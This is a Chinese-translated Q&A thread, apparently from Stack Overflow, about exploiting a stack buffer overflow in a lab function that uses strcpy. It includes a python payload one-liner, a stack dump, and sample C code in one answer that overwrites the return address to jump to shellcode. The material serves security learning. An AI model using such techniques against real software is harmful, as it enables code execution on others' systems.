我最近一直在学习计算机安全,遇到了几个问题,特别是我遇到了这个问题。
我给了一个带有固定缓冲区的函数,我需要溢出才能在文件 shellcode 中执行shellcode。功能很简单:
void vuln(char *str) {
char buf[64];
strcpy(buf, str);
//function provided to display stack on command prompt
dump_stack((void **) buf, 21, (void **) &str);
}
我最初的猜测是修改函数的返回地址 eip ,以便找到并执行shellcode文件中的内容,但我意识到我没有文件的地址我可以用十六进制值表示。我非常确定我需要操纵返回地址,所以我目前正在调用的是:
//the string is passed as a command line arg
./buffer_overflow_shellcode $(python -c "print 'A'*72 + '\x41\xd6\xff\xff' ")
我的输出是:
Stack dump:
0xffffd600: 0xffffd7fd (first argument)
0xffffd5fc: 0x08048653 (saved eip)
0xffffd5f8: 0xffffd641 (saved ebp)
0xffffd5f4: 0x41414141
0xffffd5f0: 0x41414141
0xffffd5ec: 0x41414141
0xffffd5e8: 0x41414141
0xffffd5e4: 0x41414141
0xffffd5e0: 0x41414141
0xffffd5dc: 0x41414141
0xffffd5d8: 0x41414141
0xffffd5d4: 0x41414141
0xffffd5d0: 0x41414141
0xffffd5cc: 0x41414141
0xffffd5c8: 0x41414141
0xffffd5c4: 0x41414141
0xffffd5c0: 0x41414141
0xffffd5bc: 0x41414141
0xffffd5b8: 0x41414141
0xffffd5b4: 0x41414141
0xffffd5b0: 0x41414141 (beginning of buffer)
Segmentation fault
python脚本只需输出72个字母A来将缓冲区溢出到 edp 和 eip 的点,之后我用额外的地址替换了edp的地址并到达在返回地址,准备操纵它。非常感谢任何帮助,谢谢!
答案 0 :(得分:15)
嗯,我想这可能就像计算机系统中的缓冲区溢出实验室:程序员的视角。首先,使用objdump
获取静态地址。其次,使用gdb
运行它以找出堆栈的地址。然后,使用这样的字符串填充缓冲区,该字符串将返回地址覆盖到缓冲区(这样您可以放置漏洞利用代码,或者,您可以调用程序中的其他代码)。
查看此pdf作为本实验的指南。它可以为您提供一些见解。
正如所指出的,需要大量的编译时标志才能实现这一目标。 (我会查看哪些并尽快回来)。或者,this post提供了有关如何编译此类示例的指南。
答案 1 :(得分:2)
我最初的猜测是修改函数的返回地址,eip,以便找到并执行shellcode文件中的内容,但我意识到我没有地址到我可以用十六进制值表示的文件。
您希望修改RET地址,以便在函数结束时不会返回其调用者,而是返回到shellcode的开头。
((作为shellcode的简要概述,它是一组汇编指令(因此严重依赖于您执行易受攻击的进程的平台)执行shell(通常是root shell),从而使您失去了你可以利用的好环境。))
现在回来,你想要的是将RET指向shellcode中的第一个汇编指令。奇怪的是,你将它放在一个单独的文件中。这需要吗?
通常做的是你有这样的事情:
char shellcode[] = "\x90\x90\x90...";
int main()
{
/*
* huge string (like your 72 A's) that appends the address of the
* shellcode at the right address (in your case I think it's 64 + 4)
*/
char evilstring[100];
/* Fill the buf and the EBP with A's */
for (int i = 0; i < 64 + 4; i++) {
evilstring[i] = 'A';
}
/* And the RET with the address of your shellcode */
sprintf(&evilstring[68], "%p", &shellcode[0]);
vuln(evilstring);
/* you should have a shell now */
/* NOTREACHED */
return 0;
}
所以现在,当你的函数返回时,它返回shellcode []字符串的地址,并继续从那里执行指令。这是你想要的。因为这些指令会为您提供root shell(或者shellcode所做的任何操作)。
请注意,上面只是示例代码,甚至没有经过编译测试。
如果我不理解你的问题,或者我的解释不够好,请随时提出。
答案 2 :(得分:1)
char buff[20];
unsigned int pass = 0;
当&#39; buff&#39;得到溢出,额外的输入转动&#39;传递&#39;大于0,使其成为真正的&#39;值。
答案 3 :(得分:0)
当你知道在哪里看起来并不难,就像在打开应用程序w / gdb之前说的那样。 运行。然后我(nfo)r(egisters)看看为什么它崩溃了。反汇编是非常有用的。
另外,(我假设你知道这一点):
void vuln(char *str) {
char buf[64];
strcpy(buf, str);
//function provided to display stack on command prompt
dump_stack((void **) buf, 21, (void **) &str);
}
实际上是
void vuln(char *str) {
void *return;
char buf[64];
/* Set Return value and store stack */
strcpy(buf, str);
//function provided to display stack on command prompt
dump_stack((void **) buf, 21, (void **) &str);
/* restore stack and jmp to return value. */
}